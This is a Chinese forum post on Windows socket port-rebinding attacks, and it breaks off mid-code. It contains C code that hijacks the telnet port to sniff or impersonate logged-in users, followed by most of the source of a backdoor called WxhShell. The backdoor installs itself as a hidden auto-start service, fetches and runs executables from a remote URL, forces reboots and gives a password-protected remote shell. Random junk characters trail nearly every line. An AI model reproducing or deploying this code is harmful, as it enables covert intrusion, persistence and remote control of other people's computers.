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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: S*,17+6dV  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); wm+};L&_  
Z\(q@3C  
  saddr.sin_family = AF_INET; -vAC"8)S  
SpIv#?  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); <v"R.<  
z{%<<pZ  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); @f_Lp%K  
W- $Z(Z XL  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ")1:F>  
DHg :8%3x  
  这意味着什么?意味着可以进行如下的攻击: WJ]T\DI  
*[Imn\hu  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 H9Gh>u]}  
R)?*N@.s  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) 0gu_yg!R  
77 Q5d"sIi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 /m!BY}4W  
#JqB ;'\  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  xS5vbJ  
^7`BP%6  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 [>vLf2OID  
v1#otrf  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 N_LM/of|D  
IY1 //9  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 8$] 1M,$r  
:^<3>zk  
  #include Q8$}@iA[  
  #include Ex.yU{|c  
  #include &.F4 b~A7  
  #include    SjK  
  DWORD WINAPI ClientThread(LPVOID lpParam);   1;* cq  
  int main() <q)#  
  { K$z2YJ%  
  WORD wVersionRequested; DVO.FTV^`  
  DWORD ret; fQ7V/x!  
  WSADATA wsaData; \Zb;'eDv  
  BOOL val; pj8=wch  
  SOCKADDR_IN saddr; b;L\EB  
  SOCKADDR_IN scaddr; ~kV/!=  
  int err; H[T?\Lq  
  SOCKET s; xPdG*OcX!  
  SOCKET sc; \wmN  
  int caddsize; 0RzEY!9g+  
  HANDLE mt; PgAf\.48a  
  DWORD tid;   pP1|&`}ux  
  wVersionRequested = MAKEWORD( 2, 2 ); ,S\CC{!  
  err = WSAStartup( wVersionRequested, &wsaData ); S0$8@"~=  
  if ( err != 0 ) { MnmVl"(/  
  printf("error!WSAStartup failed!\n"); hy9\57_#  
  return -1; AI2~Jp  
  } IM*y|UHt  
  saddr.sin_family = AF_INET; 4a&RYx  
   2bz2KB5>  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 //B&k`u  
;2G*wR  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); g%o(+d  
  saddr.sin_port = htons(23); OU E (I3_  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) }ZYd4h|g\z  
  { iG $!6;w<  
  printf("error!socket failed!\n"); XMZ,Y7  
  return -1; {.`vs;U  
  } @?ebuj5{e  
  val = TRUE; P|`8}|}a  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 zg>zUe bA  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) SV4E0c>  
  { C-xr"]#]  
  printf("error!setsockopt failed!\n"); @b\$yB@z  
  return -1; #{0HYg?(f  
  } W@>% {eE  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; UJUEYG  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 KV91)U  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Y!xF ;a  
0mp/Le5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) _!#@@O0p/h  
  { t[HE6ea  
  ret=GetLastError(); XE RUo  
  printf("error!bind failed!\n"); "37lx;CH  
  return -1; _=r6=.  
  } /*~EO{o  
  listen(s,2); $B+8Of  
  while(1) PJ')R:e,  
  { SZ7:u895E  
  caddsize = sizeof(scaddr); ME$[=?7XX  
  //接受连接请求 Xc ++b|k  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); Lpkyoh v  
  if(sc!=INVALID_SOCKET) `b&%Hm  
  { wKh4|Ka  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); N>uRf0E>  
  if(mt==NULL) 2F;y;l%  
  { E#34Wh2z  
  printf("Thread Creat Failed!\n"); xh-o}8*n"  
  break; z9f-.72"X  
  } 1}+3dB_s  
  } (le9q5Qr.  
  CloseHandle(mt); ;7*[Bcj.  
  } =}^9 wP  
  closesocket(s); 6{K,c@VFd  
  WSACleanup(); uo:J\E  
  return 0; eSn+B;  
  }   Vsr.=Nd=  
  DWORD WINAPI ClientThread(LPVOID lpParam) 1NFsb-<u  
  { J6"9v;V  
  SOCKET ss = (SOCKET)lpParam; -]Bq|qTH[(  
  SOCKET sc; >tS'Q`R  
  unsigned char buf[4096]; d7^}tM  
  SOCKADDR_IN saddr; sFKX-S~:  
  long num; AOZP*\k  
  DWORD val; Y;eZ9|Ht9  
  DWORD ret; [|wZ77\  
  //如果是隐藏端口应用的话,可以在此处加一些判断 Z{.8^u1I  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   NSMyliM1Y  
  saddr.sin_family = AF_INET; YRk(u7:0  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); ')Zvp7>$  
  saddr.sin_port = htons(23); &A/]pi-\  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) <\ y@*fg+  
  { ,]C;sN%~}  
  printf("error!socket failed!\n"); nbp=PzZy  
  return -1; u]wZQl#-  
  } k8yEdi`  
  val = 100; !.$I["/=  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) )iX~}7  
  { _RYxD"m y  
  ret = GetLastError(); T.F!+  
  return -1; QhFV xCA  
  } "9uKtQS0o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) OnziG+ak  
  { @n/\L<]t  
  ret = GetLastError(); iozt&~o  
  return -1; X #dmo/L8  
  } :k]1Lm||  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) v~+(GqR=+  
  { g'f@H-KCD  
  printf("error!socket connect failed!\n"); @u+]aI!`-  
  closesocket(sc); `RT>}_j  
  closesocket(ss); iXkF1r]i  
  return -1; )* :gqN  
  } ]#<4vl\  
  while(1) ]EbM9Fo-U  
  { w(Ovr`o?9t  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 ?,Xw[pR  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 KkyVSoD\  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 tFn)aa~L  
  num = recv(ss,buf,4096,0); k}CVQ@nd  
  if(num>0) %Xg4b6<9  
  send(sc,buf,num,0); 2DrM3ZU8  
  else if(num==0) Po;W'7"Po`  
  break; Q}JOU  
  num = recv(sc,buf,4096,0); Kn{4;Xk\  
  if(num>0) u#fM_>ML  
  send(ss,buf,num,0); /62!cp/F/D  
  else if(num==0) ,KZ~?3$yj  
  break; !n!*/[}X  
  } 8nqG<!,q  
  closesocket(ss); s[*rzoA  
  closesocket(sc); .sW|Id )  
  return 0 ; ODN /G%l  
  } Wb_J(!da  
2qNt,;DQ  
@;4zrzQi7  
========================================================== <}Vrl`?h  
7+cO_3AB  
下边附上一个代码,,WXhSHELL rKc9b<Ir  
s^TZXCyF o  
========================================================== Wi<m{.%\E  
=s{>Fsm1  
#include "stdafx.h" AN m d!  
>uB?rGcM  
#include <stdio.h> CW K7wZM  
#include <string.h> ]A `n( "%  
#include <windows.h> iyE7V_O T  
#include <winsock2.h> ;1=1:S8  
#include <winsvc.h> <=&`ZH   
#include <urlmon.h> e"cXun4nS=  
T{^rt3a  
#pragma comment (lib, "Ws2_32.lib") ]0OR_'?,  
#pragma comment (lib, "urlmon.lib") 2'Uu:Y^  
L{\8!51L  
#define MAX_USER   100 // 最大客户端连接数 Hio0HL-  
#define BUF_SOCK   200 // sock buffer S+6.ZZ9c  
#define KEY_BUFF   255 // 输入 buffer M0"_^?  
{ uFO/  
#define REBOOT     0   // 重启 #z%fx   
#define SHUTDOWN   1   // 关机 {fM'6;ak  
">nxHU  
#define DEF_PORT   5000 // 监听端口 1.hyCTnI  
`RW HN/U  
#define REG_LEN     16   // 注册表键长度 ;;t yoh~t  
#define SVC_LEN     80   // NT服务名长度 I@N8gn  
(lqC[:  
// 从dll定义API /}Axf"OE  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); 2pCaX\t  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); %2{ye  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); Q{>k1$fkV  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); T763:v  
?j.,Nw4FC  
// wxhshell配置信息 R\f+SvE  
struct WSCFG { 3,w_ ".m`#  
  int ws_port;         // 监听端口 Ix}sK"}[n  
  char ws_passstr[REG_LEN]; // 口令 e`s ~.ZF  
  int ws_autoins;       // 安装标记, 1=yes 0=no JR|ck=tq  
  char ws_regname[REG_LEN]; // 注册表键名 _LnpnL:  
  char ws_svcname[REG_LEN]; // 服务名 (WJRi:NP?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 v1JzP#  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ~ Iuf}D;  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 h#*dI`>l-  
int ws_downexe;       // 下载执行标记, 1=yes 0=no S hWJ72c  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" ^76]0`gS  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 e9tjw[+A  
WU` rh^  
}; cjY-y-vO  
6MW{,N  
// default Wxhshell configuration ,`Z1m o>n  
struct WSCFG wscfg={DEF_PORT, %1L,Y  
    "xuhuanlingzhe", kD%( _K5  
    1, i]4I [!  
    "Wxhshell", n@i HFBb  
    "Wxhshell", !qg`/y9  
            "WxhShell Service", q2j{tP#  
    "Wrsky Windows CmdShell Service", >=>2m2z=  
    "Please Input Your Password: ", v?$:@9pAk  
  1, :cECRm*  
  "http://www.wrsky.com/wxhshell.exe", o|:b;\)b  
  "Wxhshell.exe" "sCRdx]_  
    }; +\A,&;!SR  
Qv-_ jZ  
// 消息定义模块 =WATyY:s  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; _VN?#J)o  
char *msg_ws_prompt="\n\r? for help\n\r#>"; 6 "sSoj  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; B9 uoVcW  
char *msg_ws_ext="\n\rExit."; ObS3 M  
char *msg_ws_end="\n\rQuit."; !.gIHY  
char *msg_ws_boot="\n\rReboot..."; ITBE|b  
char *msg_ws_poff="\n\rShutdown..."; p l0\2e)  
char *msg_ws_down="\n\rSave to "; 3$R1ipb  
e !Y~Qy  
char *msg_ws_err="\n\rErr!"; !pW0qX\1n  
char *msg_ws_ok="\n\rOK!"; T^KKy0ZGM  
}0z)5c  
char ExeFile[MAX_PATH]; GxxW&y  
int nUser = 0; %> eiAB_b  
HANDLE handles[MAX_USER]; 2zb"MEOS5  
int OsIsNt; j^JPZ{ej ?  
LRA8p<Rs  
SERVICE_STATUS       serviceStatus; L2z[   
SERVICE_STATUS_HANDLE   hServiceStatusHandle; SnfYT)Ph  
\2$|Ei7  
// 函数声明 Gd=RyoJl  
int Install(void); KpGhQdR#  
int Uninstall(void); "+s++@ z  
int DownloadFile(char *sURL, SOCKET wsh); Gef TdO.&  
int Boot(int flag); D>q9 3;p  
void HideProc(void); r19 pZAc  
int GetOsVer(void); Otuf] B^s  
int Wxhshell(SOCKET wsl); +\9NDfYIA  
void TalkWithClient(void *cs); H <l7ZS:  
int CmdShell(SOCKET sock); a=2%4Wmz  
int StartFromService(void); 4[e X e$  
int StartWxhshell(LPSTR lpCmdLine); cwg"c4V  
z:*|a+cy  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); D,feF9  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ,qxu|9L  
bn5 Su=]  
// 数据结构和表定义 25?6gu*Z  
SERVICE_TABLE_ENTRY DispatchTable[] = ICQKP1WFp  
{ .q>iXE_c  
{wscfg.ws_svcname, NTServiceMain}, C'x&Py/#  
{NULL, NULL} bAMdI 5Zk?  
}; +e``OeXog  
L,!?Nt\  
// 自我安装 S1_RjMbYM  
int Install(void) #6=  
{ (<9u-HF#  
  char svExeFile[MAX_PATH]; K"MX!  
  HKEY key; ]a`$LW}  
  strcpy(svExeFile,ExeFile); 0H:X3y+  
WsB?C&>x  
// 如果是win9x系统,修改注册表设为自启动 7[)E>XRE  
if(!OsIsNt) { 4WB0Pt{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ktIFI`@ w)  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); UK!(G  
  RegCloseKey(key); n[rCQdM&U"  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $UwCMPs X  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ]f_p 8?j"  
  RegCloseKey(key); bt?5*ETA  
  return 0; ~xFkU#  
    } QXK{bxwC  
  } W=?<<dVYD  
} ? J0y|  
else { g_bLl)g<  
6gDN`e,@  
// 如果是NT以上系统,安装为系统服务 H5|;{q:j  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); Pm7}"D'/  
if (schSCManager!=0) tw@X> G1z  
{ @0''k  
  SC_HANDLE schService = CreateService jP.dDYc  
  ( {JLtE{  
  schSCManager, '&b+R`g'  
  wscfg.ws_svcname, jH:[2N?  
  wscfg.ws_svcdisp, f o3}W^0  
  SERVICE_ALL_ACCESS, ;uGv:$([g  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , :3 mh@[V  
  SERVICE_AUTO_START, +}AI@+  
  SERVICE_ERROR_NORMAL, pb,d'z\S  
  svExeFile, ;^L(^Hx  
  NULL, sI2^Qp@O1  
  NULL, $??I/6  
  NULL, R=?[Nz  
  NULL, d'> x(Yi  
  NULL QJ;2ZN,  
  ); t uX|\X  
  if (schService!=0) ueNS='+m  
  { *un^u-;  
  CloseServiceHandle(schService); u3 D)M%e  
  CloseServiceHandle(schSCManager); H5an%kU|j  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 6y<EgYzdE  
  strcat(svExeFile,wscfg.ws_svcname); kJR`:J3DJ  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { (9)Q ' 'S  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 7tp36TE  
  RegCloseKey(key); U<XG{<2  
  return 0; *4 n)  
    } r JB}qYD  
  } E{(;@PzE  
  CloseServiceHandle(schSCManager); * y,v}-  
} !)$Zp\Sg  
} '3;b@g,  
J}t%p(mb  
return 1; b.938#3,  
} vDvFL<`vmD  
MQ2_`pi  
// 自我卸载 j<$2hiI/?&  
int Uninstall(void) EQ_aa@M7  
{ Q2> gU#  
  HKEY key; B5QFK  
\2z>?i)  
if(!OsIsNt) { lhJ'bYI  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y{Q {'De  
  RegDeleteValue(key,wscfg.ws_regname); d(K +);!  
  RegCloseKey(key); =~gvZV-<  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { i30!}}N8  
  RegDeleteValue(key,wscfg.ws_regname); 7p[n  
  RegCloseKey(key); <3 uNl  
  return 0; A}!J$V:w]  
  } PY'2h4IL  
} gM]:Ma  
} k:%%/  
else { {8etv:y  
Ort(AfW  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); OTv)  
if (schSCManager!=0)  :11 A  
{ EX"yxZ~  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); @F>D+=hS  
  if (schService!=0) "  1tH  
  { >mkFV@`  
  if(DeleteService(schService)!=0) { jWgX_//!  
  CloseServiceHandle(schService); VN.Je: Ju  
  CloseServiceHandle(schSCManager); G/W>S,(  
  return 0; atzX;@"K  
  } >Gu M]qn  
  CloseServiceHandle(schService); iRBfx  
  } +,l-Nz  
  CloseServiceHandle(schSCManager); 'fW-Y!k%  
} 4e  
} {h4E8.E  
tX[WH\(xI  
return 1; bd`P0f?  
} 9JwPSAo;  
T4F/w|Q  
// 从指定url下载文件 R-14=|7a-  
int DownloadFile(char *sURL, SOCKET wsh) _dU\JD  
{ Xc.`-J~Il  
  HRESULT hr; {G-kNU  
char seps[]= "/"; afk>+4q  
char *token; 4!$"ayGv;D  
char *file; zeRyL3fnmb  
char myURL[MAX_PATH]; m+9#5a-  
char myFILE[MAX_PATH]; ;a3}~s  
|a@L}m  
strcpy(myURL,sURL); 0{mex4  
  token=strtok(myURL,seps); Zd&S@Z  
  while(token!=NULL) ('~LMu_  
  { 2zpr~cB=  
    file=token; Hp?/a?\Xm  
  token=strtok(NULL,seps); #E]59_  
  } <N @Gu!N8  
f mGc^d|=  
GetCurrentDirectory(MAX_PATH,myFILE); QL*IiFR  
strcat(myFILE, "\\"); vSh`&w^*  
strcat(myFILE, file); ?ubro0F:  
  send(wsh,myFILE,strlen(myFILE),0); 5-M-X#(  
send(wsh,"...",3,0); AwN!;t_0+N  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); !'Kj x  
  if(hr==S_OK) LQ% `c  
return 0; t<qiGDJ<d  
else P;*(hY5&  
return 1; }7X%'Bg=M  
>d6|^h'0  
} mc3"`+o  
4+ig' |o  
// 系统电源模块 {Ha57Wk8D  
int Boot(int flag) M3AXe]<eC1  
{ Pc9H0\+Xk  
  HANDLE hToken; v0y(58Rz.  
  TOKEN_PRIVILEGES tkp; iQ{VY ^ 0  
ite~E5?#  
  if(OsIsNt) { 0$njMnB2l  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); #;<Y[hR{P  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Js;h%  
    tkp.PrivilegeCount = 1; hOeRd#AQK  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; z)"=:o7  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ~XIb\m9H  
if(flag==REBOOT) { ,0k;!YK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) f!"w5qC^  
  return 0; E_`=7 i  
} @XVTU  
else { ;G!q Y  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) cZ06Kx..  
  return 0; W8<%[-r  
} ,vDbp?)'U  
  } ZB{EmB0W  
  else { liSmjsk  
if(flag==REBOOT) { w>YDNOk  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) <uJ@:oWG7  
  return 0; qWw=8Bq  
} o(HbGHIP  
else { j<x_&1  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) W%J\qA  
  return 0; (#'>(t(4  
} NO3/rJ6-  
} j#6.Gq  
qb4z T  
return 1; e;jdqF~v!  
} o}!PQ#`M  
ME dWLFf  
// win9x进程隐藏模块 UI#h&j5pW  
void HideProc(void) ww/Uzv  
{ =#\:}@J5I  
 XilS!,  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); P%zK;#8V  
  if ( hKernel != NULL ) CWlw0 X  
  { BzzTGWq\  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); :Sma`U&  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); "]dI1 g_  
    FreeLibrary(hKernel); kP"9&R`E  
  } ceV}WN19l  
VE24ToI?W"  
return; 5m*,8]!-  
} c|%6e(g"L  
^s=8!=A(  
// 获取操作系统版本 L$-T,Kze  
int GetOsVer(void) 9gFUaDLo  
{ $?Wb}DU7_L  
  OSVERSIONINFO winfo; PeT'^?>  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 6 r"<jh#  
  GetVersionEx(&winfo); HDLk>_N_s,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) putrSSL}  
  return 1; ?EL zj  
  else ,)XLq8  
  return 0; _L PHPj^Pg  
} xwr8`?]y  
"8RSvT<W^5  
// 客户端句柄模块 ! z**y}<T  
int Wxhshell(SOCKET wsl) P'2Qen*  
{ E3i4=!Y  
  SOCKET wsh; Zh,71Umz  
  struct sockaddr_in client; g ?k=^C  
  DWORD myID; IU[ [ H#  
#jk_5W  
  while(nUser<MAX_USER) >bxS3FCX  
{ `g,..Ns-r  
  int nSize=sizeof(client); Ngwb Q7)  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); WM{=CD  
  if(wsh==INVALID_SOCKET) return 1; R@0R`Zs  
p[-O( 3Y  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); G"6 !{4g  
if(handles[nUser]==0) O}P`P'Y|'  
  closesocket(wsh); *fdTpXa  
else ~BF&rx5Q  
  nUser++; j6YOKJX  
  } ;,TFr}p`  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); \8 ":]EU  
Tk>#G{Wb-  
  return 0; @oNXZRg6  
} 0erNc'e  
U(Zq= M  
// 关闭 socket 9z0p5)]n>  
void CloseIt(SOCKET wsh) Z.WW(C.  
{ S 5U;#H  
closesocket(wsh); _&x%^&{  
nUser--; C}X\|J  
ExitThread(0); #QPjk R|\  
} qLCR] _*  
@,}UWU  
// 客户端请求句柄 C+]I@Go'Tk  
void TalkWithClient(void *cs) -} +[  
{ u!s2 BC0}N  
~@!bsLSMU  
  SOCKET wsh=(SOCKET)cs; .6> w'F{>  
  char pwd[SVC_LEN]; R/_&m$ZB  
  char cmd[KEY_BUFF]; %C0Dw\A*:  
char chr[1]; B[}6-2<>?C  
int i,j; H.;Q+A,8^  
\!(zrfP{(  
  while (nUser < MAX_USER) { E@\e$?*X  
LscGTs,  
if(wscfg.ws_passstr) { G B^Br6  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 9$Y=orpWxr  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); i1085ztN  
  //ZeroMemory(pwd,KEY_BUFF); H::bwn`Vc  
      i=0; CAlCDfKW}  
  while(i<SVC_LEN) { us.~G  
+_`7G^U?%  
  // 设置超时 E{\2='3\  
  fd_set FdRead; Y@v>FlqI{  
  struct timeval TimeOut; YQ} o?Q$z  
  FD_ZERO(&FdRead); Fcx&hj1gQ  
  FD_SET(wsh,&FdRead); .X&9Q9T=#  
  TimeOut.tv_sec=8; ^pS~Z~[d/  
  TimeOut.tv_usec=0; jo7\`#(Q  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); t:S+%u U  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); gr{ DWCK  
z{543~Og59  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ]iWRo'  
  pwd=chr[0]; {vj)76%y  
  if(chr[0]==0xd || chr[0]==0xa) { 3R/bz0 V>  
  pwd=0; Zfw,7am/  
  break; *Ly6`HZ9  
  } 5(2;|I,T  
  i++; 0_/[k*Re  
    } y} '@R$  
iCoX& "lb  
  // 如果是非法用户,关闭 socket eE Kf|I  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); :3PH8TL  
} +t.b` U`-  
xo)P?-  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); :m;p:l|W  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 54,er$$V  
pCDmXB  
while(1) { W)/#0*7  
5G#n"}T  
  ZeroMemory(cmd,KEY_BUFF); ^q&x7Kv%  
K"6vXv4QO  
      // 自动支持客户端 telnet标准   iscz}E,Y  
  j=0; #Z#-Ht  
  while(j<KEY_BUFF) { X2_=agEP  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);  }ZI7J  
  cmd[j]=chr[0]; V9vTsmo(  
  if(chr[0]==0xa || chr[0]==0xd) { Iv *<L a  
  cmd[j]=0; \['Cj*ek  
  break; nTas~~Q  
  } :s,Z<^5a)g  
  j++; n<,BmVQ  
    } ,uvRi)O>a  
zA 3_Lx!  
  // 下载文件 kM 6 Qp  
  if(strstr(cmd,"http://")) { NbobliC=  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); e.>P8C<&  
  if(DownloadFile(cmd,wsh)) #E[0ys1O  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9?$i?  
  else (Z*!#}z`  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); .`lCWeHN  
  } 6863xOv{T  
  else { gi8FHSU|G  
wY#E?,  
    switch(cmd[0]) { R-:2HRaA  
  ?[AD=rUC  
  // 帮助 0sqFF[i  
  case '?': { | Iib|HQ)  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); ^~dWU>  
    break; dM5-;  
  } ,}PgOJZ  
  // 安装 a#4?cEy  
  case 'i': { bOB \--:]  
    if(Install()) _#niyW+?~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); do%&m]#;  
    else eRYK3W  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); \RiP  
    break; _-D{-Bu#  
    } uZ5p#M_  
  // 卸载 +z( Lr=G  
  case 'r': { eDMO]5}Ht  
    if(Uninstall()) ]lbuy7xj63  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); M{@(G5  
    else =(Mch~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -~0^P,yQ  
    break; uT{q9=w  
    } uD'6mk*  
  // 显示 wxhshell 所在路径 &&+H+{_Q  
  case 'p': { ]'}L 1r  
    char svExeFile[MAX_PATH]; )UR7i8]!0  
    strcpy(svExeFile,"\n\r"); QY/w  
      strcat(svExeFile,ExeFile); zdYjF|  
        send(wsh,svExeFile,strlen(svExeFile),0); \<' ?8ri#  
    break; DF= *_,2/  
    } CY1Z'  
  // 重启 .3;;;K9a~]  
  case 'b': { uph(V  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); *T/']t  
    if(Boot(REBOOT)) Wc#24:OKe3  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2{Lh7Ks  
    else { JI}'dU>*U:  
    closesocket(wsh); 3$ pX  
    ExitThread(0); l-Z4Mq6*L  
    } j_AACq {.  
    break; UVP vOtZj  
    } UfGkTwoo=  
  // 关机 29Ki uP  
